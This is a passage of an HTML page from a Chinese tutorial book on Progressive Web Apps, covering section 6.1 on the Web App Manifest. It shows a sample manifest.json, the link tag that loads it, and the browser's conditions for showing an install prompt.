        \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.5.4\" data-path=\"../chapter04/4-service-worker-debug.html\">\n            \n                <a href=\"../chapter04/4-service-worker-debug.html\">\n            \n                    \n                    4.4 Service Worker 调试\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6\" data-path=\"../chapter05.html\">\n            \n                <a href=\"../chapter05.html\">\n            \n                    \n                    第5章 离线与缓存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.6.1\" data-path=\"../chapter05/1-fetch-event-management.html\">\n            \n                <a href=\"../chapter05/1-fetch-event-management.html\">\n            \n                    \n                    5.1 资源请求的拦截代理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.2\" data-path=\"../chapter05/2-local-storage-management.html\">\n            \n                <a href=\"../chapter05/2-local-storage-management.html\">\n            \n                    \n                    5.2 本地存储管理\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.3\" data-path=\"../chapter05/3-respond-strategy.html\">\n            \n                <a href=\"../chapter05/3-respond-strategy.html\">\n            \n                    \n                    5.3 资源请求响应策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.4\" data-path=\"../chapter05/4-precache.html\">\n            \n                <a href=\"../chapter05/4-precache.html\">\n            \n                    \n                    5.4 预缓存方案\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.6.5\" data-path=\"../chapter05/5-workbox.html\">\n            \n                <a href=\"../chapter05/5-workbox.html\">\n            \n                    \n                    5.5 使用 Workbox\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7\" data-path=\"../chapter06.html\">\n            \n                <a href=\"../chapter06.html\">\n            \n                    \n                    第6章 用户留存\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter active\" data-level=\"1.7.1\" data-path=\"1-manifest-json.html\">\n            \n                <a href=\"1-manifest-json.html\">\n            \n                    \n                    6.1 Web 应用清单\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.2\" data-path=\"2-credentials-api.html\">\n            \n                <a href=\"2-credentials-api.html\">\n            \n                    \n                    6.2 凭证管理 API\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.3\" data-path=\"3-notification-api.html\">\n            \n                <a href=\"3-notification-api.html\">\n            \n                    \n                    6.3 桌面通知\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.4\" data-path=\"4-web-push-api.html\">\n            \n                <a href=\"4-web-push-api.html\">\n            \n                    \n                    6.4 网络推送\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.7.5\" data-path=\"5-payment-request-api.html\">\n            \n                <a href=\"5-payment-request-api.html\">\n            \n                    \n                    6.5 Payment Request API\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8\" data-path=\"../chapter07.html\">\n            \n                <a href=\"../chapter07.html\">\n            \n                    \n                    第7章 安全\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.8.1\" data-path=\"../chapter07/1-https.html\">\n            \n                <a href=\"../chapter07/1-https.html\">\n            \n                    \n                    7.1 使用 HTTPS 保护站点安全\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.2\" data-path=\"../chapter07/2-CSP.html\">\n            \n                <a href=\"../chapter07/2-CSP.html\">\n            \n                    \n                    7.2 内容安全策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.3\" data-path=\"../chapter07/3-policy.html\">\n            \n                <a href=\"../chapter07/3-policy.html\">\n            \n                    \n                    7.3 同源策略\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.8.4\" data-path=\"../chapter07/4-vulnerability.html\">\n            \n                <a href=\"../chapter07/4-vulnerability.html\">\n            \n                    \n                    7.4 典型的安全漏洞\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9\" data-path=\"../chapter08.html\">\n            \n                <a href=\"../chapter08.html\">\n            \n                    \n                    第8章 性能\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.9.1\" data-path=\"../chapter08/1-loading-performance.html\">\n            \n                <a href=\"../chapter08/1-loading-performance.html\">\n            \n                    \n                    8.1 加载性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.9.2\" data-path=\"../chapter08/2-rendering-performance.html\">\n            \n                <a href=\"../chapter08/2-rendering-performance.html\">\n            \n                    \n                    8.2 渲染性能 \n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10\" data-path=\"../chapter09.html\">\n            \n                <a href=\"../chapter09.html\">\n            \n                    \n                    第9章 PWA 与搜索\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.10.1\" data-path=\"../chapter09/1-search-engine-index.html\">\n            \n                <a href=\"../chapter09/1-search-engine-index.html\">\n            \n                    \n                    9.1 搜索引擎收录\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.2\" data-path=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/2-pwa-and-amp-and-mip.html\">\n            \n                    \n                    9.2 PWA 与 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.3\" data-path=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                <a href=\"../chapter09/3-whole-site-amp-and-mip.html\">\n            \n                    \n                    9.3 全站 AMP/MIP\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.10.4\" data-path=\"../chapter09/4-preload-pwa.html\">\n            \n                <a href=\"../chapter09/4-preload-pwa.html\">\n            \n                    \n                    9.4 AMP/MIP 预加载 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11\" data-path=\"../appendix01.html\">\n            \n                <a href=\"../appendix01.html\">\n            \n                    \n                    附录1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n            <ul class=\"articles\">\n                \n    \n        <li class=\"chapter \" data-level=\"1.11.1\" data-path=\"../appendix01/1-lighthouse.html\">\n            \n                <a href=\"../appendix01/1-lighthouse.html\">\n            \n                    \n                    1 使用 Lighthouse 测评 PWA\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.2\" data-path=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                <a href=\"../appendix01/2-lighthouse-score-guide.html\">\n            \n                    \n                    2 Lighthouse 评分指南\n            \n                </a>\n            \n\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.11.3\" data-path=\"../appendix01/3-lighthouse-case.html\">\n            \n                <a href=\"../appendix01/3-lighthouse-case.html\">\n            \n                    \n                    3 Lighthouse 使用案例\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n            </ul>\n            \n        </li>\n    \n        <li class=\"chapter \" data-level=\"1.12\" data-path=\"../thanks.html\">\n            \n                <a href=\"../thanks.html\">\n            \n                    \n                    感谢\n            \n                </a>\n            \n\n            \n        </li>\n    \n\n    \n\n    <li class=\"divider\"></li>\n\n    <li>\n        <a href=\"https://www.gitbook.com\" target=\"blank\" class=\"gitbook-link\">\n            本书使用 GitBook 发布\n        </a>\n    </li>\n</ul>\n\n\n                </nav>\n            \n        \n    </div>\n\n    <div class=\"book-body\">\n        \n            <div class=\"body-inner\">\n                \n                    \n\n<div class=\"book-header\" role=\"navigation\">\n    \n\n    <!-- Title -->\n    <h1>\n        <i class=\"fa fa-circle-o-notch fa-spin\"></i>\n        <a href=\"..\" >6.1 Web 应用清单</a>\n    </h1>\n</div>\n\n\n\n\n                    <div class=\"page-wrapper\" tabindex=\"-1\" role=\"main\">\n                        <div class=\"page-inner\">\n                            \n<div class=\"search-plus\" id=\"book-search-results\">\n    <div class=\"search-noresults\">\n    \n                                <section class=\"normal markdown-section\">\n                                \n                                <div id=\"anchor-navigation-ex-navbar\"><i class=\"fa fa-navicon\"></i><ul><li><span class=\"title-icon \"></span><a href=\"#web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><b></b>Web &#x5E94;&#x7528;&#x6E05;&#x5355;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;-manifestjson\"><b></b>&#x6DFB;&#x52A0; manifest.json</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><b></b>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;\"><b></b>&#x8BBE;&#x7F6E;&#x542F;&#x52A8;&#x9875;&#x9762;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;\"><b></b>&#x914D;&#x7F6E;&#x9879;&#x8BE6;&#x89E3;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#name-&#x548C;-shortname\"><b></b>name &#x548C; short_name</a></li><li><span class=\"title-icon \"></span><a href=\"#icons\"><b></b>icons</a></li><li><span class=\"title-icon \"></span><a href=\"#starturl\"><b></b>start_url</a></li><li><span class=\"title-icon \"></span><a href=\"#display\"><b></b>display</a></li><li><span class=\"title-icon \"></span><a href=\"#backgroundcolor-&#x548C;-themecolor\"><b></b>background_color &#x548C; theme_color</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;\"><b></b>&#x63A7;&#x5236;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;</a></li><ul><li><span class=\"title-icon \"></span><a href=\"#&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;\"><b></b>&#x5224;&#x65AD;&#x7528;&#x6237;&#x5B89;&#x88C5;&#x884C;&#x4E3A;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x53D6;&#x6D88;&#x63D0;&#x793A;\"><b></b>&#x53D6;&#x6D88;&#x63D0;&#x793A;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x63A8;&#x8FDF;&#x63D0;&#x793A;\"><b></b>&#x63A8;&#x8FDF;&#x63D0;&#x793A;</a></li></ul><li><span class=\"title-icon \"></span><a href=\"#&#x8C03;&#x8BD5;-web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><b></b>&#x8C03;&#x8BD5; Web &#x5E94;&#x7528;&#x6E05;&#x5355;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;\"><b></b>&#x6D4F;&#x89C8;&#x5668;&#x652F;&#x6301;&#x5EA6;</a></li><li><span class=\"title-icon \"></span><a href=\"#&#x684C;&#x9762;-pwa-&#x5B89;&#x88C5;\"><b></b>&#x684C;&#x9762; PWA &#x5B89;&#x88C5;</a></li></ul></ul></div><a href=\"#web-&#x5E94;&#x7528;&#x6E05;&#x5355;\" id=\"anchorNavigationExGoTop\"><i class=\"fa fa-arrow-up\"></i></a><h1 id=\"web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><a name=\"web-&#x5E94;&#x7528;&#x6E05;&#x5355;\" class=\"anchor-navigation-ex-anchor\" href=\"#web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"web-&#x5E94;&#x7528;&#x6E05;&#x5355;\" class=\"plugin-anchor\" href=\"#web-&#x5E94;&#x7528;&#x6E05;&#x5355;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>Web &#x5E94;&#x7528;&#x6E05;&#x5355;</h1>\n<p>Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#xFF08;Web App Manifest&#xFF09;&#x662F;&#x4E00;&#x4EFD; JSON &#x683C;&#x5F0F;&#x7684;&#x6587;&#x4EF6;&#xFF0C;&#x5B83;&#x5B9A;&#x4E49;&#x4E86;&#x7F51;&#x7AD9;&#x5E94;&#x7528;&#x7684;&#x76F8;&#x5173;&#x4FE1;&#x606F;&#xFF0C;&#x5305;&#x62EC;&#x5E94;&#x7528;&#x540D;&#x79F0;&#x3001;&#x56FE;&#x6807;&#x3001;&#x542F;&#x52A8;&#x65B9;&#x5F0F;&#x7B49;&#x7B49;&#x3002;&#x5F53;&#x7F51;&#x7AD9;&#x63D0;&#x4F9B;&#x4E86;&#x8FD9;&#x4E48;&#x4E00;&#x4EFD;&#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x6E05;&#x5355;&#xFF0C;&#x5E76;&#x4E14;&#x6EE1;&#x8DB3;&#x4E00;&#x5B9A;&#x7684;&#x751F;&#x6548;&#x6761;&#x4EF6;&#x4E4B;&#x540E;&#xFF0C;&#x5C06;&#x5177;&#x6709;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x7684;&#x80FD;&#x529B;&#x3002;</p>\n<p>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x7684;&#x7F51;&#x7AD9;&#x5E76;&#x4E0D;&#x7B49;&#x540C;&#x4E8E;&#x201C;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x5FEB;&#x6377;&#x65B9;&#x5F0F;&#x201D;&#x3002;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#xFF0C;&#x5F53;&#x7F51;&#x7AD9;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x4E4B;&#x540E;&#xFF0C;&#x5B83;&#x5C06;&#x5177;&#x6709;&#x5982;&#x540C; Native App &#x4E00;&#x6837;&#x72EC;&#x7ACB;&#x7684;&#x56FE;&#x6807;&#x548C;&#x540D;&#x79F0;&#xFF1B;&#x70B9;&#x51FB;&#x56FE;&#x6807;&#x6253;&#x5F00;&#x7F51;&#x7AD9;&#xFF0C;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x7684;&#x8FC7;&#x7A0B;&#x5E76;&#x4E0D;&#x4F1A;&#x50CF;&#x666E;&#x901A;&#x7F51;&#x9875;&#x90A3;&#x6837;&#x51FA;&#x73B0;&#x767D;&#x5C4F;&#xFF0C;&#x53D6;&#x800C;&#x4EE3;&#x4E4B;&#x7684;&#x662F;&#x4E00;&#x4E2A;&#x5C55;&#x793A;&#x5E94;&#x7528;&#x56FE;&#x6807;&#x548C;&#x540D;&#x79F0;&#x7684;&#x542F;&#x52A8;&#x9875;&#x9762;&#xFF0C;&#x8D44;&#x6E90;&#x52A0;&#x8F7D;&#x7ED3;&#x675F;&#x65F6;&#x52A0;&#x8F7D;&#x9875;&#x6D88;&#x5931;&#xFF1B;&#x5F53;&#x7F51;&#x9875;&#x6700;&#x7EC8;&#x5C55;&#x73B0;&#x65F6;&#xFF0C;&#x5730;&#x5740;&#x680F;&#x3001;&#x5DE5;&#x5177;&#x680F;&#x7B49;&#x6D4F;&#x89C8;&#x5668;&#x5143;&#x7D20;&#x5C06;&#x4E0D;&#x4F1A;&#x5C55;&#x73B0;&#x51FA;&#x6765;&#xFF0C;&#x7F51;&#x9875;&#x5185;&#x5BB9;&#x5360;&#x6EE1;&#x5C4F;&#x5E55;&#xFF0C;&#x770B;&#x8D77;&#x6765;&#x4E0E; Native App &#x4E00;&#x6837;&#x3002;</p>\n<p><img src=\"img/add-to-homescreen-and-open.jpg\" alt=\"&#x6253;&#x5F00; PWA &#x5168;&#x6D41;&#x7A0B;\"></p>\n<p>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x7684;&#x597D;&#x5904;&#x6709;&#x5F88;&#x591A;&#xFF0C;&#x4E3B;&#x8981;&#x5728;&#x7528;&#x6237;&#x9ECF;&#x6027;&#x548C;&#x7528;&#x6237;&#x4F53;&#x9A8C;&#x4E0A;&#xFF0C;&#x5982;&#x4E0B;&#x3002;</p>\n<ul>\n<li>&#x9996;&#x5148;&#x662F;&#x51CF;&#x5C11;&#x4E86;&#x7F51;&#x7AD9;&#x5165;&#x53E3;&#x6DF1;&#x5EA6;&#xFF0C;&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x76F4;&#x63A5;&#x4ECE;&#x4E3B;&#x5C4F;&#x5E55;&#x76F4;&#x8FBE;&#x7AD9;&#x70B9;&#xFF1B;</li>\n<li>&#x5176;&#x6B21;&#x662F;&#x80FD;&#x591F;&#x8BA9;&#x7F51;&#x7AD9;&#x5177;&#x6709;&#x66F4;&#x52A0;&#x63A5;&#x8FD1;&#x539F;&#x751F;&#x4F53;&#x9A8C;&#x7684;&#x7279;&#x6027;&#xFF0C;&#x5177;&#x6709;&#x542F;&#x52A8;&#x9875;&#x9762;&#xFF0C;&#x8131;&#x79BB;&#x6D4F;&#x89C8;&#x5668; UI&#xFF1B;</li>\n<li>&#x6700;&#x540E;&#xFF0C;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x7684;&#x7F51;&#x7AD9;&#x5982;&#x540C;&#x5B89;&#x88C5;&#x539F;&#x751F;&#x5E94;&#x7528;&#x90A3;&#x6837;&#xFF0C;&#x88AB;&#x7EB3;&#x5165;&#x5E94;&#x7528;&#x62BD;&#x5C49;&#x4E2D;&#xFF0C;&#x5E76;&#x4E14;&#x53EF;&#x4EE5;&#x901A;&#x8FC7;&#x7CFB;&#x7EDF;&#x8BBE;&#x7F6E;&#x76F4;&#x63A5;&#x5BF9;&#x7AD9;&#x70B9;&#x8FDB;&#x884C;&#x8BBE;&#x7F6E;&#x3002;</li>\n</ul>\n<p>&#x63A5;&#x4E0B;&#x6765;&#x770B;&#x770B;&#x5982;&#x4F55;&#x4F7F;&#x7528; Web &#x5E94;&#x7528;&#x7A0B;&#x5E8F;&#x6E05;&#x5355;&#x3002;</p>\n<h2 id=\"&#x6DFB;&#x52A0;-manifestjson\"><a name=\"&#x6DFB;&#x52A0;-manifestjson\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;-manifestjson\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;-manifestjson\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;-manifestjson\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0; manifest.json</h2>\n<p>&#x9996;&#x5148;&#x6211;&#x4EEC;&#x51C6;&#x5907;&#x4E00;&#x4EFD;&#x5305;&#x542B;&#x5E38;&#x7528;&#x914D;&#x7F6E;&#x7684; manifest.json &#x6587;&#x4EF6;&#xFF0C;&#x5982;&#x4E0B;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-json\"><span class=\"token punctuation\">{</span>\n  <span class=\"token property\">&quot;name&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;Progressive Web App&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;short_name&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;PWA&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;start_url&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;/?from=homescreen&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;icons&quot;</span><span class=\"token operator\">:</span> <span class=\"token punctuation\">[</span>\n    <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;/static/img/icons/android-chrome-192x192.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;192x192&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span>\n    <span class=\"token punctuation\">}</span><span class=\"token punctuation\">,</span> <span class=\"token punctuation\">{</span>\n      <span class=\"token property\">&quot;src&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;/static/img/icons/android-chrome-512x512.png&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;sizes&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;512x512&quot;</span><span class=\"token punctuation\">,</span>\n      <span class=\"token property\">&quot;type&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;image/png&quot;</span>\n    <span class=\"token punctuation\">}</span>\n  <span class=\"token punctuation\">]</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;display&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;standalone&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;background_color&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;#ffffff&quot;</span><span class=\"token punctuation\">,</span>\n  <span class=\"token property\">&quot;theme_color&quot;</span><span class=\"token operator\">:</span> <span class=\"token string\">&quot;#1976d2&quot;</span>\n<span class=\"token punctuation\">}</span>\n</code></pre>\n<p>&#x7136;&#x540E;&#x5728;&#x7AD9;&#x70B9; HTML &#x9875;&#x9762;&#x7684; <code><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>head</span><span class=\"token punctuation\">&gt;</span></span></code> &#x4E2D;&#x901A;&#x8FC7; <code>link</code> &#x6807;&#x7B7E;&#x5F15;&#x5165;&#x8BE5;&#x6587;&#x4EF6;&#x3002;</p>\n<pre class=\"language-\"><code class=\"lang-html\"><span class=\"token tag\"><span class=\"token tag\"><span class=\"token punctuation\">&lt;</span>link</span> <span class=\"token attr-name\">rel</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>manifest<span class=\"token punctuation\">&quot;</span></span> <span class=\"token attr-name\">href</span><span class=\"token attr-value\"><span class=\"token punctuation\">=</span><span class=\"token punctuation\">&quot;</span>https://path/to/manifest.json<span class=\"token punctuation\">&quot;</span></span><span class=\"token punctuation\">&gt;</span></span>\n</code></pre>\n<p>&#x4E0A;&#x9762;&#x4E24;&#x4E2A;&#x6B65;&#x9AA4;&#x5C31;&#x5B8C;&#x6210;&#x4E86; Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x6587;&#x4EF6;&#x7684;&#x7F16;&#x5199;&#x3002;</p>\n<h2 id=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><a name=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\" class=\"anchor-navigation-ex-anchor\" href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a><a name=\"&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\" class=\"plugin-anchor\" href=\"#&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;\"><i class=\"fa fa-link\" aria-hidden=\"true\"></i></a>&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;</h2>\n<p>&#x76EE;&#x524D;&#x5B58;&#x5728;&#x4E24;&#x79CD;&#x65B9;&#x5F0F;&#x5C06;&#x7AD9;&#x70B9;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x3002;&#x9996;&#x5148;&#x7B2C;&#x4E00;&#x79CD;&#x5C31;&#x662F;&#x7528;&#x6237;&#x81EA;&#x4E3B;&#x6DFB;&#x52A0;&#x81F3;&#x684C;&#x9762;&#xFF0C;&#x5F53;&#x7F51;&#x7AD9;&#x7684; Web &#x5E94;&#x7528;&#x6E05;&#x5355;&#x751F;&#x6548;&#x65F6;&#xFF0C;&#x90E8;&#x5206;&#x6D4F;&#x89C8;&#x5668;&#x83DC;&#x5355;&#x680F;&#x4F1A;&#x591A;&#x51FA;&#x201C;&#x6DFB;&#x52A0;&#x5230;&#x5C4F;&#x5E55;&#x201D;&#x7684;&#x9009;&#x9879;&#xFF0C;&#x7528;&#x6237;&#x53EF;&#x4EE5;&#x4E3B;&#x52A8;&#x5C06;&#x7F51;&#x7AD9;&#x6DFB;&#x52A0;&#x5230;&#x684C;&#x9762;&#x3002;&#x4F46;&#x662F;&#x5927;&#x90E8;&#x5206;&#x7528;&#x6237;&#x90FD;&#x4E0D;&#x4F1A;&#x8FD9;&#x4E48;&#x53BB;&#x505A;&#xFF0C;&#x800C;&#x4E14;&#x76EE;&#x524D;&#x4EC5;&#x6709; Chrome&#x3001;Firefox &#x7B49;&#x5C11;&#x91CF;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x63D0;&#x4F9B;&#x8FD9;&#x6837;&#x7684;&#x9009;&#x9879;&#xFF0C;&#x56E0;&#x6B64;&#x63A5;&#x4E0B;&#x6765;&#x91CD;&#x70B9;&#x4ECB;&#x7ECD;&#x7B2C;&#x4E8C;&#x79CD;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#x7684;&#x65B9;&#x5F0F;&#xFF1A;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x3002;</p>\n<p>&#x5BF9;&#x4E8E;&#x4E00;&#x4E9B;&#x7528;&#x6237;&#x7ECF;&#x5E38;&#x6D4F;&#x89C8;&#x7684; PWA &#x7AD9;&#x70B9;&#xFF0C;&#x6D4F;&#x89C8;&#x5668;&#x4F1A;&#x5728;&#x76F8;&#x5E94;&#x9875;&#x9762;&#x6253;&#x5F00;&#x7684;&#x65F6;&#x5019;&#xFF0C;&#x4EE5;&#x9002;&#x5F53;&#x7684;&#x9891;&#x6B21;&#x5F39;&#x51FA;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#xFF0C;&#x8BE2;&#x95EE;&#x7528;&#x6237;&#x662F;&#x5426;&#x8981;&#x5C06;&#x5F53;&#x524D;&#x7AD9;&#x70B9;&#x6DFB;&#x52A0;&#x5230;&#x4E3B;&#x5C4F;&#x5E55;&#xFF0C;&#x5982;&#x4E0B;&#x56FE;&#x6240;&#x793A;&#x3002;&#x7528;&#x6237;&#x70B9;&#x51FB;&#x6309;&#x94AE;&#x63A5;&#x53D7;&#xFF0C;&#x5C06;&#x5229;&#x7528; manifest.json &#x6587;&#x4EF6;&#x4E2D;&#x5B9A;&#x4E49;&#x7684;&#x540D;&#x79F0;&#x3001;&#x56FE;&#x6807;&#x548C;&#x542F;&#x52A8;&#x5730;&#x5740;&#x7B49;&#x4FE1;&#x606F;&#x5728;&#x4E3B;&#x5C4F;&#x5E55;&#x751F;&#x6210; PWA &#x5E94;&#x7528;&#x5165;&#x53E3;&#x3002;</p>\n<p><img src=\"img/add-to-homescreen-banner.jpg\" alt=\"&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#x6A2A;&#x5E45;\"></p>\n<p>&#x5982;&#x679C;&#x671F;&#x671B;&#x6D4F;&#x89C8;&#x5668;&#x5C55;&#x73B0;&#x5E94;&#x7528;&#x5B89;&#x88C5;&#x63D0;&#x793A;&#xFF0C;&#x9700;&#x8981;&#x6EE1;&#x8DB3;&#x4E00;&#x5B9A;&#x7684;&#x89C4;&#x5219;&#xFF1A;</p>\n<ul>\n<li>&#x9700;&#x8981; manifest.json &#x6587;&#x4EF6;&#xFF0C;&#x5E76;&#x4E14;&#x5305;&#x542B;&#x4EE5;&#x4E0B;&#x914D;&#x7F6E;<ul>\n<li>name &#x6216; short_name &#x5B9A;&#x4E49;&#x5E94;&#x7528;&#x540D;&#x79F0;&#xFF0C;&#x4F18;&#x5148;&#x91C7;&#x7528; short_name</li>\n<li>start_url &#x6307;&#x5B9A;&#x542F;&#x52A8; URL</li>\n<li>icons &#x5E76;&#x4E14;&#x5305;&#x542B; 144&#xD7;144 &#x7684; PNG &#x683C;&#x5F0F;&#x7684;&#x65B9;&#x5F62;&#x56FE;&#x6807;&#x58F0;&#x660E;</li>\n<li>display &#x6307;&#x5B9A;&#x663E;&#x793A;&#x6A21;&#x5F0F;&#xFF0C;&#x5E76;&#x4E14;&#x5FC5;&#x987B;&#x53D6;&#x503C; <code>standalone</code> &#x6216; <code>fullscreen</code></li>\n</ul>\n</li>\n<li>&#x7AD9;&#x70B9;&#x5FC5;&#x987B;&#x6CE8;&#x518C; Service Worker<ul>\n<li>Chrome &#x8981;&#x6C42; Service Worker &#x4E14;&#x5FC5;&#x987B;&#x76D1;&#x542C; <code>fetch</code> 